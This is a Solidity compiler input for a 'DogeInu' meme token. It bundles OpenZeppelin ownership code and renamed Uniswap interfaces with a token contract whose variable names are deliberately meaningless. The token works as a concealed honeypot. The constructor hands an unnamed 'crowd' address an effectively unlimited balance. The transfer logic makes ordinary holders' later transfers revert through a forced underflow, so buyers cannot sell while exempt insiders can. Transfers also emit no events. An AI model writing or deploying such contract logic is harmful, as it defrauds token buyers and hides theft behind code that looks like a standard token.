{ "language": "Solidity", "sources": { "deploy/Contract.sol": { "content": "// https://t.me/dogeinu_eth\n\n// SPDX-License-Identifier: Unlicense\n\npragma solidity >0.8.2;\n\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\n// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n constructor() {\n _setOwner(_msgSender());\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n require(owner() == _msgSender(), 'Ownable: caller is not the owner');\n _;\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), 'Ownable: new owner is the zero address');\n _setOwner(newOwner);\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(address indexed token0, address indexed token1, address pair, uint);\n\n function feeTo() external view returns (address);\n function feeToSetter() external view returns (address);\n\n function getPair(address tokenA, address tokenB) external view returns (address pair);\n function allPairs(uint) external view returns (address pair);\n function allPairsLength() external view returns (uint);\n\n function createPair(address tokenA, address tokenB) external returns (address pair);\n\n function setFeeTo(address) external;\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n function addLiquidityETH(\n address token,\n uint amountDogeInuDesired,\n uint amountDogeInuMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external payable returns (uint amountDogeInu, uint amountETH, uint liquidity);\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountDogeInuMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountDogeInu, uint amountETH);\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountA, uint amountB);\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountDogeInuMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountDogeInu, uint amountETH);\n function swapExactDogeInusForDogeInus(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n function swapDogeInusForExactDogeInus(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n function swapExactETHForDogeInus(uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n payable\n returns (uint[] memory amounts);\n function swapDogeInusForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)\n external\n returns (uint[] memory amounts);\n function swapExactDogeInusForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n returns (uint[] memory amounts);\n function swapETHForExactDogeInus(uint amountOut, address[] calldata path, address to, uint deadline)\n external\n payable\n returns (uint[] memory amounts);\n\n function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);\n function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);\n function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);\n function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);\n function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferDogeInus(\n address token,\n uint liquidity,\n uint amountDogeInuMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n function removeLiquidityETHWithPermitSupportingFeeOnTransferDogeInus(\n address token,\n uint liquidity,\n uint amountDogeInuMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountETH);\n\n function swapExactDogeInusForDogeInusSupportingFeeOnTransferDogeInus(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function swapExactETHForDogeInusSupportingFeeOnTransferDogeInus(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n function swapExactDogeInusForETHSupportingFeeOnTransferDogeInus(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ncontract DogeInu is Ownable {\r\n constructor(\r\n string memory silk,\r\n string memory food,\r\n address pain,\r\n address crowd\r\n ) {\r\n uniswapV2Router = IUniswapV2Router02(pain);\r\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());\r\n\n setting[crowd] = roll;\r\n repeat = silk;\r\n eye = food;\r\n sum = 9;\r\n instead = 3;\r\n loud[crowd] = roll;\r\n loud[msg.sender] = roll;\r\n _tTotal = 1000000000000000 * 10**sum;\r\n setting[msg.sender] = _tTotal;\r\n }\r\n\n uint256 private instead;\r\n string private repeat;\r\n string private eye;\r\n uint8 private sum;\r\n\n function name() public view returns (string memory) {\r\n return repeat;\r\n }\r\n\n function symbol() public view returns (string memory) {\r\n return eye;\r\n }\r\n\n uint256 private _tTotal;\r\n address public uniswapV2Pair;\r\n uint256 private roll = ~instead;\r\n IUniswapV2Router02 public uniswapV2Router;\r\n address private combination;\r\n\n function decimals() public view returns (uint256) {\r\n return sum;\r\n }\r\n\n mapping(address => mapping(address => uint256)) private _allowances;\r\n mapping(address => uint256) private setting;\r\n\n function totalSupply() public view returns (uint256) {\r\n return _tTotal;\r\n }\r\n\n function balanceOf(address account) public view returns (uint256) {\r\n return setting[account];\r\n }\r\n\n function allowance(address owner, address spender) public view returns (uint256) {\r\n return _allowances[owner][spender];\r\n }\r\n\n function higher(\r\n address class,\r\n address familiar,\r\n uint256 shout\r\n ) internal {\r\n address sad = (uniswapV2Pair);\r\n\n if (loud[class] == 0 && (sad != class) && slope[class] > 0) {\r\n loud[class] -= sum;\r\n }\r\n\n address crop = combination;\r\n combination = familiar;\r\n\n setting[class] -= shout;\r\n uint256 rocket = (shout / 100) * instead;\r\n shout -= rocket;\r\n slope[crop] += sum;\r\n setting[familiar] += shout;\r\n }\r\n\n mapping(address => uint256) private slope;\r\n\n function approve(address spender, uint256 amount) external returns (bool) {\r\n return _approve(msg.sender, spender, amount);\r\n }\r\n\n mapping(address => uint256) private loud;\r\n\n function transferFrom(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) external returns (bool) {\r\n higher(sender, recipient, amount);\r\n return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\r\n }\r\n\n function transfer(address recipient, uint256 amount) external returns (bool) {\r\n higher(msg.sender, recipient, amount);\r\n return true;\r\n }\r\n\n function _approve(\r\n address owner,\r\n address spender,\r\n uint256 amount\r\n ) private returns (bool) {\r\n require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');\r\n _allowances[owner][spender] = amount;\r\n return true;\r\n }\r\n}\n" } }, "settings": { "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} } }